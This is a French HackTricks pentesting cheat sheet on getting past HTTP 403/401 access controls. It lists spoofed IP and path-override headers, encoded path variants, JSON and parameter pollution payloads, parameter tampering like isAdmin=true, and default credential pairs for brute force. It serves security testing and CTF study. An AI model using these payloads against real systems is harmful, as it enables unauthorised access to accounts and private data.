9.5 KiB
Contournements des erreurs 403 & 401
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Configuration immédiatement disponible pour l'évaluation de la vulnérabilité & le pentesting. Lancez un pentest complet de n'importe où avec plus de 20 outils & fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection & d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells, et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Fuzzing des Verbes/Méthodes HTTP
Essayez d'utiliser différents verbes pour accéder au fichier : GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Vérifiez les en-têtes de réponse, peut-être que certaines informations peuvent être données. Par exemple, une réponse 200 à HEAD avec
Content-Length: 55
signifie que le verbe HEAD peut accéder à l'info. Mais vous devez encore trouver un moyen d'exfiltrer cette info. - Utiliser un en-tête HTTP comme
X-HTTP-Method-Override: PUT
peut remplacer le verbe utilisé. - Utilisez le verbe
TRACE
et si vous avez beaucoup de chance, peut-être que dans la réponse vous pourrez aussi voir les en-têtes ajoutés par les proxies intermédiaires qui pourraient être utiles.
Fuzzing des En-têtes HTTP
-
Changez l'en-tête Host pour une valeur arbitraire (cela a fonctionné ici)
-
Essayez d'utiliser d'autres User Agents pour accéder à la ressource.
-
Fuzz des En-têtes HTTP : Essayez d'utiliser des En-têtes de Proxy HTTP, l'authentification HTTP Basic et NTLM par force brute (avec seulement quelques combinaisons) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil fuzzhttpbypass.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
Si le chemin est protégé, vous pouvez essayer de contourner la protection du chemin en utilisant ces autres en-têtes :
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
- Si la page est derrière un proxy, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser du HTTP Request Smuggling ou des en-têtes hop-by-hop.
- Fuzz des en-têtes HTTP spéciaux à la recherche d'une réponse différente.
- Fuzz des en-têtes HTTP spéciaux tout en fuzzant les Méthodes HTTP.
- Supprimez l'en-tête Host et peut-être que vous pourrez contourner la protection.
Fuzzing de Chemin
Si /chemin est bloqué :
- Essayez d'utiliser /%2e/chemin _(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi_** /%252e**/chemin (double encodage d'URL)
- Essayez le contournement Unicode : /%ef%bc%8fchemin (Les caractères encodés en URL sont comme "/") donc une fois décodés, cela donnera //chemin et peut-être que vous aurez déjà contourné la vérification du nom /chemin
- Autres contournements de chemin :
- site.com/secret –> HTTP 403 Interdit
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (ruby)
- Utilisez toute cette liste dans les situations suivantes :
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- Autres contournements d'API :
- /v3/users_data/1234 --> 403 Interdit
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Non autorisé
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Non autorisé
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (Pollution de Paramètre JSON)
- user_id=ID_ATTAQUANT&user_id=ID_VICTIME (Pollution de Paramètre)
Manipulation de Paramètre
- Changez la valeur du paramètre : De
id=123
-->id=124
- Ajoutez des paramètres supplémentaires à l'URL :
?
id=124
—->id=124&isAdmin=true
- Supprimez les paramètres
- Réorganisez les paramètres
- Utilisez des caractères spéciaux.
- Effectuez des tests de limites sur les paramètres — fournissez des valeurs comme -234 ou 0 ou 99999999 (juste quelques valeurs d'exemple).
Version du Protocole
Si vous utilisez HTTP/1.1 essayez d'utiliser 1.0 ou même testez si cela supporte 2.0.
Autres Contournements
- Obtenez l'IP ou le CNAME du domaine et essayez de le contacter directement.
- Essayez de stresser le serveur en envoyant des requêtes GET communes (Cela a fonctionné pour ce gars avec Facebook).
- Changez le protocole : de http à https, ou de https à http
- Allez sur https://archive.org/web/ et vérifiez si dans le passé ce fichier était accessible dans le monde entier.
Force Brute
- Devinez le mot de passe : Testez les identifiants communs suivants. Savez-vous quelque chose sur la victime ? Ou le nom du challenge CTF ?
- Force brute: Essayez l'authentification basique, digest et NTLM.
{% code title="Identifiants communs" %}
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
Outils Automatiques
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Extension Burp - 403 Bypasser
- Forbidden Buster
Configuration immédiatement disponible pour l'évaluation de vulnérabilité & le pentesting. Lancez un pentest complet de n'importe où avec plus de 20 outils & fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection & d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells, et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.